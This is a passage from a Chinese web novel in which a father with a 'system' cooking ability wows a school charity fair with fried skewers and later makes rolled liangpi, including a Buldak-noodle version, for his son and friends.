倒是其他同学，见胡一齐竟然偷偷跑去排队，纷纷开口：“胡一齐你太过分了！竟然吃独食！” “什么吃独食，我还没吃呢！”胡一齐见已经被发现，边摘下口罩边找理由，“你们懂什么，我这是以顾客的身份来体验一下，看看咱们摊子有没有需要改进的地方。” 在他跟同学们互相打嘴炮时，楚易文已经将他点的油炸和炸鸡炸好，沥完多余油分后撒上调料。 刚出锅的油炸本来就香，高温产生的油脂香配上香辛料的复合气息，令人垂涎欲滴。 然而这份油炸打包好后却没被送到付款人手中，叶其林直接端到后面招呼楚瑾钰和其他同学一起分享。 “我也要吃！”有早就被馋得不行的同学从洗菜盆前站起来，直接蹭了串烤豆干。 豆干表皮已经被炸焦，微微的皱痕看着就很酥脆，配上星星点点的香辛料，一口咬上去，咸鲜酥脆中带着孜然香和辣味。豆干火候炸得特别好，外焦里嫩，最里面还带着食材本身的韧性，咀嚼间满满都是浓郁都香。 “哇，好好吃的豆干！外焦里嫩，一点豆腥气都没有！” “杏鲍菇也好好吃，外面焦焦的，里面有汁水溢出来，唔……太香了！” 眼见叶其林带着同学们瓜分着自己买的油炸和炸鸡，胡一齐瞬间不干了：“那是我买的！给我留点！” 等他绕过摊子走过去时，最终只抢到一串炸年糕。 炸出脆皮的年糕特别香，外焦里糯，咀嚼间浓郁的米香和香辛料的咸鲜微辣相融合，好吃到胡一齐连签子上残留的一点点糯叽叽年糕都要咬干净。 一串烤年糕吃完，他胃口被打开，反而更加馋，于是干脆破罐子破摔，再次去排队。 见他装都不装了，班里其他同学也忍不住悄悄放下手里的活，溜达到队伍中去。 十点多时，油炸摊前排队的人非但没有减少，反而越来越多，好多吃过一次感觉没吃够的顾客甚至在重复排队。 人多，食材消耗的也快，没多久余思语的声音就再次响起：“藕片没有了，小青菜再串点过来。” 她话落，去其他班里打探军情的班主任正好回来，就发现后面干活的学生根本没剩几个人。 “不是说好轮流休息吗？人都去哪了？” 让所有学生都留守班级显然不现实，班主任规定是每次留三分之一的人在摊子上，其他人可以去自由活动，然而现在，剩下的人还不到十个。 在摊子旁边帮忙的楚瑾钰、叶其林等人这次却是没有吭声，毕竟玩归玩闹归闹，向老师打小报告可是有点招人恨。 不过班主任也不瞎，很快就发现班里其他学生既没有去其他摊子买东西，也没有跑回教室躲懒，而是全都在油炸摊前排队。 “你们还挺照顾自家生意！” 班主任视线扫过去，看到那一张张熟悉的面孔，简直又好气又好笑。 “小楚做的油炸太香了，孩子们想吃很正常，他们刚刚忙活半天也累了，老师你让他们吃吧，我来串食材。”邵言易奶奶帮着孩子们说话。 见被老师发现，刚拿到油炸的胡一齐直接递了串炸牛肉过去：“肥水不流外人田嘛，反正都是卖，卖给谁不是卖，老师你尝尝楚爸炸的牛肉串，贼香！” 牛肉串都直接怼到嘴边，那扑鼻而来的香味，实在没几个人能拒绝。 班主任接过牛肉串，开口提醒道：“赶紧吃，吃完去干活，你们好意思让人家邵言易奶奶一个人忙活。” “知道了！” 在老师面前过完明路，同学们瞬间都不再躲躲藏藏，脑袋终于能抬起来。 发现队伍中竟然有那么多高二三班的学生，其他人忍不住抱怨：“不是吧，你们自己班上的摊子还要来跟我们抢吃的？” “没办法啊，好吃的谁不爱吃，平常我们也吃不到这么美味的油炸和炸鸡。” “就是。” 何止本班同学忍不住过来排队，油炸摊的香味甚至还吸引过来不少校领导和其他老师。 “这蒜炸得真香，单吃好吃，配上五花肉更香。” 有老师口味重，点了好几串炸蒜头，高温油炸让大蒜内的硫化合物发生美拉德反应，产生一股有点像烤面包似的焦糖化香气，吃起来少了股辛辣味，蒜香却是格外浓，甚至余味中带着几分回甘。 五花肉更不用说，炸得焦脆却不硬，肥肉部分的油脂都被炸出来，吃起来焦香美味。 “老师，炸蒜真的好吃吗？”有同学好奇心重，看着吃炸蒜的老师发出疑问。 “好吃，表面都炸出焦糖反应，吃起来酥脆焦香，内里则是带着点软，蒜香十足。”这位老师来到油炸摊后就有点走不出去，甚至连自己班上的摊子都抛之脑后，此时眼里只有美食。 三班班主任看到那么多同事来光顾自家班上摊子，表情多少有些得意，同时想到楚易文已经在油锅前忙碌很久，亲自去附近奶茶摊给他买了杯果茶。 “楚瑾钰爸爸，喝点水休息会。” “谢谢老师。” 楚易文先将油锅里东西捞出来，随即才接过杯子，拉下口罩喝起来。 发现他爸额头已经有点冒汗，楚瑾钰转身往教室方向跑，很快拿了几个小风扇过来对着他吹。 “奶奶你休息会。” 邵言易在不少同学吃完油炸终于回来帮忙时，他想到这种干净又美味的吃食平常很难碰到，难得掏出零花钱也买了点，拿过来和奶奶分享。 奶奶并没有说他不该买，而是道：“奶奶不爱吃这些，你自己吃。” “你尝尝，叔叔做的很好吃。”邵言易直接将炸鸡递到她嘴边。 奶奶拒绝不了，这才伸手接过来，坐在他搬来的椅子上慢慢吃着。 “怎么样，吃得动吗？”邵言易望着自家奶奶语气透着关心。 楚易文做的炸鸡裹粉很薄，那酥脆的口感，即便老年人牙口不好，照样能吃动。 “吃得动，真好吃，怪不得那么多人都要排队来买。”奶奶咀嚼着外酥里嫩的炸鸡，只感觉这辈子没吃过这么香的鸡。 她用手小心接在炸鸡腿下面，连一点碎渣都舍不得浪费，脸上不自觉露出吃到美食的笑容。 看到奶奶吃得那么香，邵言易也跟着笑起来，他没碰炸鸡，而是拿起串牛肉干吃起来。 牛肉表面被炸得焦香四溢，内里则是保持着鲜嫩，咀嚼间内外两种不同的口感在嘴里碰撞，配上咸鲜微辣的滋味，好吃到让他都有点舍不得咽下去。 班上还有两位过来帮忙的家长，他们同样吃到油炸和炸鸡，全都被惊艳到，感觉今天真是来对了。 “食材没多少了，要不我开车去买点回来？” 有位爸爸吃完香喷喷的油炸，带着几分意犹未尽的表情向班主任询问。 班主任看向摊子前越来越长的队伍，没有立刻答应，而是先去询问楚易文。 从八点多开始，马上就要到十一点，站在油锅前近三个小时，正常人都会感觉累。不过楚易文早在发现摊子前的队伍越来越长时，就选择使用精力药剂，此时倒是感觉挺良好，再炸几个小时都没问题。 精力药剂是之前他用积分抽奖抽出来，平常根本用不到，就一直放着，没想到今天倒是用上。 班主任观察一会，见他并不是说客套话，而是确实不累，心里佩服他体力好的同时，同意让另外那位爸爸再买点食材回来。 “我刚刚看了一下，就数我们班生意最好，五班的烧烤摊根本比不上我们班。”楚瑾钰将小风扇对着他爸吹起来后，转头又跟胡一齐他们分享起自己刚刚回教室路上看到的情况。 叶其林：“听说高一那边有班级搞了个小舞台，还请了网红过来表演。” “哪个网红？说得我都想去看看。” 叶其林他们口中讨论的网红此时就在队伍中，他闻着诱人的油炸香味，不停伸头探脑，恨不得赶紧排到自己。 “哥你怎么回事！喊你过来是帮我们班表演赚钱的，你怎么跑这排起队来了！” 网红：“我刚刚表演那么久，肚子都饿了，你别急，等我吃完就过去。” “服了你了，你是才艺主播，又不是美食主播……” 当妹妹的吐槽亲哥时，网红“云城小百灵”直播间里发出一片“哈哈哈”声。 过来帮妹妹班级表演，顺便直播的网红在注意到直播间弹幕时，对着粉丝们道：“家人们，真不是我馋，主要是油炸太香了！刚刚我在舞台上表演时就闻见香味，等到摊子这边来，香味简直能馋死个人……” 【哈哈哈哈，这么热的天，油炸还能馋到你？胃口真好。】 【羡慕主播的胃口，这个鬼天气，我闻一下油炸的味道就饱了，根本吃不下。】 【油炸上火，对嗓子可不好，主播你还是少吃点。】 【学校里的油炸能有什么好吃的，主播你是真饿了。】 眼见粉丝们一个个笑话自己，等排到最前面挑选好食材后，主播将镜头对准两个油锅。 此时油锅内炸鸡正在进行复炸，当金黄色炸鸡从油锅里被捞出来时，不知道是不是太阳反光的原因，屏幕那头的粉丝好像看到了金光。 【卧槽！这什么炸鸡，差点没闪瞎我的眼睛！主播你开特效了？】 【咕噜……别说，这炸鸡看起来确实挺诱人，大热天的，竟然把我看馋了。】 【哇，炸鸡表面好漂亮的鱼鳞状裂纹，主播，帮我也买一份，我想吃！】魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 卷凉皮 直播间里粉丝隔着屏幕都被馋到, 主播经历色与香的双重诱惑，更是口水差点没流出来，此时压根顾不上看评论, 视线完全黏在油锅上。 “要干料还是湿料，什么辣度？”楚易文将油炸依次出锅后，头也不抬地问。 五花肉被炸得边缘微微卷曲，小黄鱼色泽金黄诱人，豆干表皮被炸出皱痕……每样油炸经过他手炸好，还没撒调料看起来已经很美味。 “干料，多放点辣。”主播咽了下口水才开口回答。 楚易文点点头, 等食材上多余油分沥干，手法熟练地将调料撒上去，由各色香料组成的粉末散发出复合型香味, 星星点点落到食材上，让油炸的卖相更加诱人。 他只负责做，做好就转身继续开始炸鸡, 站在调料盆旁的叶其林则是熟练地打包。 刚刚吐槽自己哥哥不去表演跑过来吃油炸的女生早就安静下来，在油炸出锅时伸手就拿起一串炸豆角。 豆角没有裹粉, 只有表皮微微被炸得有点焦，但吃进嘴里整体口感还是脆嫩更多些，配上调料香味，吃起来很是美味。 “刚刚不让我买, 现在倒是抢着吃。”主播嘴上吐槽妹妹，实际上刚刚买的本来就是两人份，说完就找个地方架着手机开吃。 “给你们看看……” 他话还没说完，就被浓郁的油炸香给馋得肚子咕咕叫起来，实在没忍住诱惑, 拿起串五花肉直接送进嘴里。 刚炸好的五花肉焦香酥脆，肥肉部分油脂全被炸出来，瘦肉部分还稍微保持几分柔韧，整体口感焦脆又不失嚼劲，配上完美的调料，简直越吃越香。 直播间里，粉丝们还没看清楚就见他直接开吃，在瞧见他急切的吃相以及直接亮起来的双眼时，哪里看不出来油炸有多好吃。 【靠！你都是个老主播了，江湖规矩都不懂吗？不知道第一口是粉丝的？】 【看起来好好吃，是我想要吃的那种脆脆的油炸，可恶，为什么一个学校活动都有这么好吃的油炸，我家附近却都是难吃的。】 【看主播那个吃相，他是不是已经忘记自己在直播了？】 主播确实已经完全沉浸在美食中，五花肉吃完吃炸土豆片，焦脆的土豆片配上香香辣辣的调料，吃起来比什么薯片都美味，好吃到他都后悔没多买几串。 土豆片吃完，他回味着嘴里的余味，又拿起牛肉串吃起来，外焦里嫩的牛肉香辣美味，肉香浓郁，一串没吃过瘾，他连吃两串才看向下一种油炸。 杏鲍菇直接炸水分太多，它表面裹了薄薄一面糊，炸好后色泽金黄，外脆里嫩。杏鲍菇的嫩是软嫩中带着点韧劲，微微的汁水感和焦脆的面衣形成反差感，配上香辣的调料，吃起来有点令人上瘾。 “唔，好吃！” 不自觉发出好吃的感叹后，他又伸手拿起小黄鱼，整条鱼被炸得特别焦脆，如果用手敲上去，甚至能听见脆响。 他没有用手去敲，而是直接牙齿咬上去，上下牙碰撞间发出清脆的“咔嚓”声。每个人吃鱼习惯不同，有人喜欢从鱼肚子开始，有人则是喜欢从头吃到尾，他则是喜欢从尾巴开始吃。 发现鱼尾被完全炸酥，他连刺都懒得吐，直接顺着鱼刺往上咬，很快就将整条鱼吃完，连鱼头都没放过。 【妈呀，这沉浸式吃播，看得我馋死了，感觉主播以后不想唱歌的话还可以去做吃播。】 【？我进错直播间了？不是说今天要去学校替妹妹班级表演，怎么跟这吃上了？】 【因为主播他馋！自己馋就算了，还要来馋我，不行了，我得去点个外卖，把我都看饿了。】 【别说主播了，没看到角落里，主播妹妹自己都扛不住，在那悄悄地吃呢。】 【还真是……这兄妹俩是不是忘记他们要干啥了？】 显而易见，楚易文经过系统厨房加小饭馆难搞顾客磨炼出来的手艺，没有人能拒绝。 主播妹妹这会吃得比他还香，咬着皮焦肉嫩的炸鸡翅，此时哪里还记得自己班上的表演，满心只剩下一个念头——怎么会有这么好吃的东西！ 兄妹二人埋头苦吃，满满一大盒炸鸡和满满一大盒炸串很快被吃得干干净净。 吃完他们脸上表情还带着几分意犹未尽，同时主播终于想起来直播间里的粉丝，舔着嘴巴边回味边道：“太好吃了！我从来没吃过这么好吃的油炸，该焦的焦，该脆的脆，该嫩的嫩，火候把握得特别好，调味更是香得不行……” 听到他滔滔不绝地夸赞，本来就有被馋到的粉丝口水都快下来，有同在云市的粉丝直接喊他去问一下，做油炸的人店在哪。 显然，如此色香味俱全的油炸，让人下意识就觉得，做油炸的肯定是专业开油炸店的，否则手艺不会那么好。 主播同样是这个想法，答应直播间粉丝后就起身走到油炸摊前：“老板，你做的油炸太好吃了，请问一下你家店开在哪？” “不好意思，我没开店。”楚易文边说边将油炸从油锅里捞出来。 “没开店？你这么好的手艺没开店？” 震惊之下，主播声音有点大，听得楚瑾钰直皱眉：“我爸又不靠卖油炸吃饭，他纯粹是爱好而已。” “这是你爸？你们家真不是开油炸店的？”主播将视线转移到楚瑾钰身上。 楚瑾钰：“不是。” “太可惜了，你爸真不考虑开家油炸店吗？生意肯定会特别好的，他这么好的手艺，不开店简直暴殄天物！”想到以后就吃不到如此美味的油炸，主播感觉有点心痛。 楚瑾钰：“我爸又不只油炸做的好吃，真要开那他都可以去开饭店。” 确定楚易文没有店，也没开店的打算，主播再次排队买了点油炸炸鸡后，边吃边对着直播间道：“怪不得在外面吃不到这么好吃的炸鸡、油炸，合着真正有手艺的人，人家根本懒得开店，真是太遗憾了……” 他好歹还吃到，直播间里的粉丝才是真正遗憾，恨不得通过网线爬过来跟他抢吃的。 随着操场上人流都往高二三班方向聚集，其他班级的摊子客流量自然就会变少。 高二五班，烧烤摊。 “怎么回事？为什么感觉人越来越少了？” “都跑去三班那边吃油炸了呗。” “油炸能有烧烤香吗？我叔可是十几年的烧烤老师傅！” 显然，五班这边摆烧烤摊也请到专业人士过来帮忙，此时发现生意被抢走，有同学很不服气。 油炸香味很是霸道，加上今天时不时有风吹过来，整个操场范围多多少少都能闻见点香味。倒不是说烧烤不香，炭火烧烤加上各种调料香味同样很诱人，只是跟油炸香气比起来，总感觉差了点味道。 “我去那边打探一下消息。” 五班有同学不知道是真想打探，还是被油炸香味馋到想找理由过去吃，说完就撒腿往人最多的油炸摊跑去。 其实这种公益活动，学校要名声，学生们凑热闹，哪个班搞得最好，其实并没有那么重要。真要说起来，大部分学生根本不会考虑班级竞争问题，纯粹是哪里好吃去哪里，哪里好玩去哪里，主打一个凑热闹。 “几点了？” 楚易文再次将裹好粉的鸡腿下油锅时，顺口询问。 楚瑾钰：“马上快十二点了。” 楚易文听到已经十二点，再看前面还有那么多人排队，有点“炸不完，根本炸不完”的感觉。 用了在系统抽出来的精力药剂，他倒是不累，于是关心下一个问题：“还有多少食材？” 楚瑾钰跑到旁边看了下才说：“没剩多少食材了。” “你去问一下你们班老师，看要不要再补点食材，如果不补的话，得去提醒后面的人别排队了，不然浪费他们时间。” 听到楚易文和楚瑾钰的对话，排在最前面的几位顾客心里不由庆幸起来，觉得还好他们来得早。 楚瑾钰听到他爸的话，转身跑过去找班主任，就见老班手里竟然端着份油炸吃得正香。 果然没有人能拒绝我爸做的油炸…… 他心里想着，将食材不够的事情告诉班主任。 活动只搞半天，下午还要正常上课，当然，由于搞活动的缘故，今天晚自习被暂时取消。 班主任得知食材又快用完，直接道：“卖完就直接收摊，你们去估算一下还够卖几个人，让后面的人都别排队了。” “知道了。” 楚瑾钰说完回到油炸摊前，拉着叶其林他们一起估算剩余食材。 队伍后面已经吃过油炸和炸鸡的还好，听到食材用完，只能遗憾地离开，还一次都没吃的却是死活不肯走。 “多赚一点钱就能多帮助一个儿童，没有食材你们就再准备点嘛！” “就是，就是。” “我都要被馋死了，今天这油炸吃不进嘴，我晚上做梦都能馋醒。” 眼见好多人都不肯走，非要继续排队，楚瑾钰他们总不能硬赶人，只能回来找楚易文商量。 最终为了能早点收摊，楚易文决定限购一下，保证现在排队的人都能吃到。 楚瑾钰觉得限购的主意不错，拉着邵言易根据剩余食材和排队人数做了个算数，定下每个人能买的串数后，甚至很聪明地让胡一齐在队尾盯着，防止又有人加入排队。 别说，这方面楚瑾钰还是挺机智，胡一齐刚在队尾站没两分钟，还真有人过来排队，他赶紧表示食材已用完，马上就要收摊。 解释一遍时还好，随着总是有人过来，他嘴都有点说干，于是冲着油炸摊后方喊：“你们谁写个停止排队的牌子过来，我都解释累了！” 停止排队的牌子做好，又过半个多小时，炸完最后一份油炸的楚易文终于可以摘下口罩。 哪怕摊子上有遮阳伞加小风扇，他还是热出满头汗来，此时终于结束，心里微微松口气。 “楚爸擦擦汗。” “楚爸喝水。” “楚爸辛苦了。” 胡一齐他们有人递湿巾，有人递水，有人说贴心话，倒搞得楚瑾钰这个亲儿子有点没存在感，最终从桌子那边拿起果盒道：“爸，吃点水果。” 楚易文先拿湿巾擦汗，又接过水喝两口，最后吃了两块西瓜。 “楚瑾钰爸爸，今天真是辛苦了你了。” 班主任过来向他表示感谢时，同学们纷纷开口：“叔叔辛苦了！” 当然，今天不止他一位家长过来帮忙，其他三位家长同样受到全班师生的感谢。 感谢完，同学们带着几分兴奋讨论起来：“我们班应该能拿第一吧！” “肯定的啊，我看过了，整个操场就数我们班生意最好。” “我们必然是第一，要知道，别的班只是赚学生的钱，我们班可是把老师都吸引过来，甚至连高一请过来表演的网红都跑过来买我们班的油炸吃。” “你还少算了我们自己，光我们班五十多个人都买了不少钱。” “哈哈哈哈，确实……” 说到他们光顾自己班上的摊子，同学们都忍不住乐起来。 活动结束后，大家本来应该去吃午饭，不过上午同学们嘴巴就没停过，此时还真不怎么饿。 “爸，你晚上别做饭了，我们晚饭直接在食堂吃。” 楚瑾钰觉得他爸今天挺辛苦，回去应该好好休息，于是说。 胡一齐跟着附和：“对，楚爸你回去好好休息。” “今天晚上不上自习，食堂有饭给你们吃吗？”楚易文关心道。 楚瑾钰：“高三年级今天正常上晚自习，所以应该有饭吃，实在没有我们出去吃也一样。” “好。” 不用给儿子做饭，楚易文干脆偷下懒，中午和晚上都是吃的外卖。 外卖当然没他自己做的好吃，但不用自己动手，偶尔偷下懒感觉倒是还不错。 由于今晚没有晚自习，楚瑾钰难得回得很早，到家就高兴地跟楚易文分享，说今天的活动他们班是第一名！ “挺好的。”楚易文作为参与者，听到儿子班级拿了第一自然高兴。 * 儿童节过去，天气更加炎热，特别容易影响食欲。 这天楚瑾钰下晚自习回家，说他明天有点不想吃米饭。 “那你想吃什么？”楚易文问。 楚瑾钰：“没什么特别想吃的，就是单纯不想吃米饭，爸你看着做吧。” 换做班上同学，得知他连他爸做的饭菜都不想吃，大概得羡慕嫉妒恨地表示他是身在福中不知福。不过对于楚瑾钰来说，他爸做的饭菜确实很美味，但胃口被养叼以后，偶尔就是想吃点别的，他也没办法。 “卷凉皮想吃吗？”楚易文想到今天用积分抽奖抽到的食谱，觉得卷凉皮倒是很适合现在吃。 “凉皮？” “不，是卷凉皮，用整张凉皮不切开，将配菜卷在里面……” 楚瑾钰觉得听起来还不错，于是点头：“好啊，那明天就吃这个！” 决定好明天吃什么，父子二人各回各房间休息去。 卷凉皮做法并不难，如果用现成的凉皮，那就更加简单。不过在系统厨房内，以老爷子的严格，楚易文想省事根本不可能。 自制凉皮还是有点费事的，先要和面，面团和好醒一会，随即开始洗面，洗出来的淀粉水静置沉淀，沉淀出来的淀粉浆就可以拿来蒸凉皮。 等待淀粉水沉淀的时间，楚易文没闲着，将洗出来的面团加水再搓揉几遍就得到面筋，面筋上锅蒸熟，待会可以卷进凉皮里一起吃。 按照老爷子的指点，楚易文第一次尝试就成功做出凉皮，不过第一张做得有点厚，第二张又太薄，掀开时直接破掉，如此反反复复好多次，才终于做出让老爷子点头的凉皮。 蒸好的凉皮从盘子上揭下来时，那晶莹剔透的卖相，那薄而不失柔韧的手感，看着就令人喜欢。 凉皮做好，接下来就可以准备里面包裹的馅料。 经过文思豆腐磨出来的刀工，让他现在切其他细丝时简直手拿把掐，不要太轻松。萝卜、黄瓜在楚易文手底下被切成均匀的细丝，红红绿绿，看着就漂亮。 切好的细丝装进盆里，他放下菜刀起锅烧水，将豆芽焯水去腥后过凉水沥干。沥好水的豆芽、胡萝卜丝、黄瓜丝切成块的面筋，再加上花生碎，几种颜色搭配，看起来就很清爽。 楚易文将准备好的馅料放到旁边，收回视线开始调料汁。 “凉皮想要好吃，酸、辣、香的平衡很重要……” 在老爷子的指点下，楚易文先煮香料水，小茴香、花椒、白蔻等香料加水一起煮，很快浓郁的复合香气就飘出来。 另一边房间里，楚瑾钰并不知道他爸为了他明天能吃好饭，正在现学做卷凉皮。他玩会手机就睡觉，次日到学校时，迫不及待跟胡一齐他们分享今天的午餐。 “卷凉皮？我在网上刷到过，只是咱们这边没得卖，没想到楚爸连这个都会做！”胡一齐语气透着期待。 叶其林：“你真能折腾楚爸，吃凉皮就吃凉皮，干嘛还非要他做卷凉皮。” “哪有，是我爸问我要不要吃卷凉皮，不然我压根不知道凉皮还可以卷着吃。”楚瑾钰道。 炎炎夏日，凉皮实在太适合在这种天气吃，整个上午就在他们对午餐的期待中度过，放学铃声响起时，就数胡一齐最积极，撒腿就往教室门外跑。 老师还在讲台上收拾东西，就感觉什么玩意刷一下窜出去，差点没反应过来。 “哈哈哈哈……” 看到老师的表情，班里其他人忍不住笑起来，不过很快也都起身往外走。 卷凉皮本身就是冷的，就不用再拿保温桶装，楚易文直接用保鲜袋装好拎过来，另外还给几个孩子煮了绿豆汤。 “楚爸！听说你今天做了卷凉皮！我之前在网上刷到就特别想吃……” 胡一齐是真会给情绪价值，卷凉皮还没开始吃，甚至人都没跑到楚易文面前，兴奋的声音已经传过来。 “怕不够吃，给你们一人做了三个，一个是普通卷凉皮，一个里面加了牛肉，还有一个里是鸡肉和煎蛋。” 可能是感觉单吃卷凉皮太素，楚易文今天给几个孩子做午餐时举一反三，往里面加了点肉和蛋来补充蛋白质。 “哇！听起来就好好吃！” 他话落，楚瑾钰三人也过来，纷纷打招呼喊人。 楚易文将手里袋子分别递过去，每个袋子内装着三个卷凉皮加灌进瓶子里的绿豆汤。 “看着就很有食欲。”楚瑾钰将袋子拎到眼前，望着里面的卷凉皮和绿豆汤，脸上露出笑容。 吃这玩意压根不用桌子，他说完直接掏出一个卷凉皮站在原地就吃起来。 透明的凉皮卷了好几层，即便如此，还是能隐约看见里面馅料的颜色，尤其是胡萝卜的橙红色与黄瓜丝的绿色最显眼。 保鲜袋打开时，油泼辣子产生的霸道辣香冲鼻而来，其中夹杂着醋的酸香，光是闻着就特别令人开胃。 楚瑾钰张嘴咬下去，凉皮极致的爽滑与柔韧感在牙齿间滑开，咀嚼间带着面食特有的香味，再咬一口，馅料的爽嫩脆香混着料汁的酸、辣、咸、鲜、香在味蕾上蔓延开来，那丰富的口感与滋味，吃得他停不下来。 “好好吃啊！” 胡一齐比他还夸张，大口大口咬着卷凉皮，吃得腮帮子都鼓起来。 吸饱料汁的面筋柔韧多汁，配上清爽的黄瓜丝，爽脆的胡萝卜丝，香脆的花生碎，以及脆嫩豆芽，滋味又香又足。调料中油泼辣子的辣味和醋酸平衡得特别好，酸中有辣，辣中有酸，加上香料水那股复合香气，简直越吃越开胃。 “我感觉这个比凉皮好吃多了！”叶其林本来以为卷凉皮就是没切的凉皮，真正吃到时才发现自己错了，跟凉皮比起来，卷凉皮味道要更加惊艳。 筋道滑韧的凉皮卷着爽脆的蔬菜，吸味的面筋配上酸辣鲜咸香的料汁，吃起来简直满足感爆棚！ 第52章 槐叶冷淘 “哎, 掉到地上就不要了。”楚易文也是没想到，自己对着快要成年的孩子还得说出这种提醒，有些无奈又有些好笑。 胡一齐被他阻止, 这才放弃捡起地上掉落的面筋，只是眼神里还透着几分舍不得。 跟外面卖的比起来，楚易文现洗出来的面筋纯天然无添加，满满都是食材本身的面香，以及吸饱料汁带来的酸辣咸香，吃起来软韧有嚼劲。 这么好吃的面筋掉出来一块，可把胡一齐心疼坏, 接下来吃得更加小心。 “唔，这个里面有牛肉！更香了！”他吃得是真快，没多久一个卷凉皮就已经下肚, 开始吃第二个。 听到胡一齐的话，楚瑾钰不自觉加快速度，很快也从第二个卷凉皮里吃到牛肉, 鲜嫩的牛肉让卷凉皮口感更加丰富，浓郁的肉味吃起来别提有多美味。 四人站在校门口吃得那叫一个香, 卷凉皮特有的酸辣气息飘向周围，闻着就很开胃，别说进进出出的学生们，就连看门的大爷都有被馋到。 “闻起来好香啊, 我们也去买凉皮吃吧！” “好。” 有两个从学校出来的学生本来准备去吃黄焖鸡，闻见那股香味瞬间改变主意。 夏天卖凉皮的摊子并不少，可惜并没有卷凉皮，被馋到的学生只能买凉皮来解馋。 “总感觉没有在学校门口闻见的那么香……” 买到凉皮的学生端着一次性碗吃着酸酸辣辣的凉皮，感觉没有想象的那么香。 “废话, 你也不看看学门口的是谁，人家爸爸可是在六一时用炸鸡和油炸惊艳全校的存在。” “羡慕，为什么别人家的爸爸会做好吃的，我的爸爸只会吃。” 被羡慕的楚瑾钰已经吃到第三个卷凉皮，他其实已经有七分饱，不过用米醋加香醋调出来的酸香实在太开胃，不知不觉间他还是将第三个卷凉皮干完。 吃完他回味着嘴里的余味，再拧开绿豆汤喝几口，清甜解暑的绿豆汤下肚，简直不要太爽。 “太舒服了！” 吃饱喝足，胡一齐发出感叹，感觉夏天来上这么顿午饭，简直不要太幸福。 商时贸没像他那样露出夸张的表情，但脸上也带着几分满足的表情，显然午餐同样吃得很舒服。 看到他们吃得香，楚易文脸上不自觉露出笑容：“好吃吗？” 他这却是明知故问，四人纷纷点头表示好吃，胡一齐更是开口道：“楚爸，晚上可以还吃卷凉皮吗？你做的卷凉皮又香又开胃，根本没吃够。” “爸，下次可以做个火鸡面馅的吗？我有点想吃。”楚瑾钰不知道为什么忽然想到火鸡面，脑海中浮现之前在网上刷到的视频。 听到火鸡面卷凉皮，胡一齐眼睛瞬间亮起来：“楚爸，我也想吃这个！” “楚爸可以吗？”叶其林跟着开口。 商时贸虽然没说话，但看他脸上的表情，明显也对火鸡面卷凉皮很感兴趣。 “火鸡面卷凉皮？这不是主食卷主食？而且连着吃两顿卷凉皮，你们不腻吗？”楚易文问。 “一点都不腻，夏天就应该吃凉皮。” “楚爸你做的卷凉皮那么好吃，怎么会腻，让我天天吃我都愿意！” “求求了楚爸……” 楚易文被他们缠得没办法，只能答应晚上继续做卷凉皮。 “我去买火鸡面！” 听到他同意，胡一齐丢下一句话撒腿就跑，楚易文想拦他都没拦住，很快就看到他抱着整箱火鸡面回来。 “怎么买那么多？” “这个火鸡面好吃，可以慢慢吃。”胡一齐嘿嘿笑着道。 “晚上还是给你们做三个？火鸡面的要几个？” “火鸡面先来一个尝尝味道吧，我还要一个普通的，一个牛肉的。”楚瑾钰话落，叶其林他们都觉得不错，纷纷同上。 “行。” 楚易文将那箱火鸡面放到车里，没有立刻回家，而是开车先去钓鱼。 只能说钓鱼这个东西，一旦开始确实有些上瘾，不过左右他现在除了给孩子们做饭又没其他事要忙，满足一下自己的个人爱好完全没问题。 至于学做菜，系统厨房和小饭馆根本不占据他日常时间，某方面来说其实还挺爽，相当于他一天不止二十四小时。 天气炎热，在河边乘凉的猫猫不少，楚易文将钓到的大鱼装进水箱，小鱼直接丢过去喂猫。和刚开始钓鱼比起来，他现在技术明显进步很多，基本上不会空军。 从河边开车回家时，他在路上看到邵言易奶奶，老人家又骑着三轮车出来卖菜。 楚易文下车跟她打了声招呼，顺便将后备箱打开，把今天钓到的两条大鱼拿出来送给她。 “不用不用，你留着给家里孩子吃。” “我天天钓鱼，家里那个早就没那么爱吃鱼了，他今天晚上吵着要吃卷凉皮。”楚易文说完直接把还活蹦乱跳的两条鱼放到三轮车上。 邵言易奶奶听到他每次都能钓到鱼，不由夸了几句厉害，说一年能省下不少买鱼钱。 一番客气后，邵言易奶奶最终还是收下鱼，不过同时装了一大袋菜递过去，让他拿回家吃。 “太多了吃不完，我拿一把就够了。”楚易文说完不忘交代一句，“天太热了，现在也没什么人出来买菜，你早点回家。” 换做平常，邵言易奶奶肯定还要多卖会菜，不过此时望着车上那两条鱼，想想还是决定先回家。 两人分别回家后，楚易文洗把脸换件衣服才走进厨房，开始做卷凉皮。 凉皮蒸好，他开始准备馅料，当把火鸡面煮好拌好时，之前还没吃过这种泡面的他端起碗尝起来，发现味道还不错，有点辣，但越吃越过瘾。 最终楚易文给自己也做了个火鸡面卷凉皮当晚餐，发现这种主食卷主食的吃法味道竟然还挺不错，凉皮的柔韧配上火鸡面的弹性，再加上黄瓜丝等食材的爽脆，口感特别丰富。同时火鸡面的辣和油泼辣子的辣相融合，那股辣香更加有层次感。 不过可能是受到老爷子传染，楚易文如今对美食的品鉴能力有所提高，他发现加入火鸡面后酸、辣、香三者的平衡有些偏向辣，于是将料汁味道进行微调。 下午，学校门口。 “哇哦！真的是火鸡面卷凉皮！” 隔着半透明的凉皮能看到里面火鸡面的卷曲与辣酱的红色，胡一齐发出欢呼声，直接吸引不少周围人的目光。 “进去吃吧。”楚易文见他们又要站在原地就开吃，笑着摆摆手。 “爸拜拜。” “楚爸再见。” 四人跟他说完再见，这才拎着卷凉皮转身往学校里面走，不过走没几步，就不约而同举起火鸡面卷凉皮吃起来。 当咬开爽滑柔韧的凉皮时，红彤彤撒着芝麻的火鸡面立刻露出来，看着就特别好吃。当把凉皮连着火鸡面一起咬进嘴里，筋道的凉皮和火鸡面的弹牙搭配上辣酱的辛辣味，好吃得根本停不下来。 楚瑾钰以为火鸡面凉皮就是直接把火鸡面卷进凉皮里，没想到他爸在里面还放了面筋、黄瓜、胡萝卜、豆芽等食材，同时卷凉皮的调味主要在面筋里，吸饱汤汁的面筋依旧带着凉皮特有的酸辣鲜香气息，但这股味道和火鸡面的辣酱非但不冲突，反而融合得特别完美。 四人边走边吃，那香喷喷的吃相，和手里诱人的火鸡面卷凉皮，直接把路上其他学生馋到。 同班同学知道是楚瑾钰他爸送的饭，但其他班同学可不一定知道，于是很快就有人上前询问。 “同学你好，请问你们是在哪买的？” “这是我爸自己做的，你想吃可以去外面凉皮店问问。”楚瑾钰咽下嘴里的卷凉皮才回答。 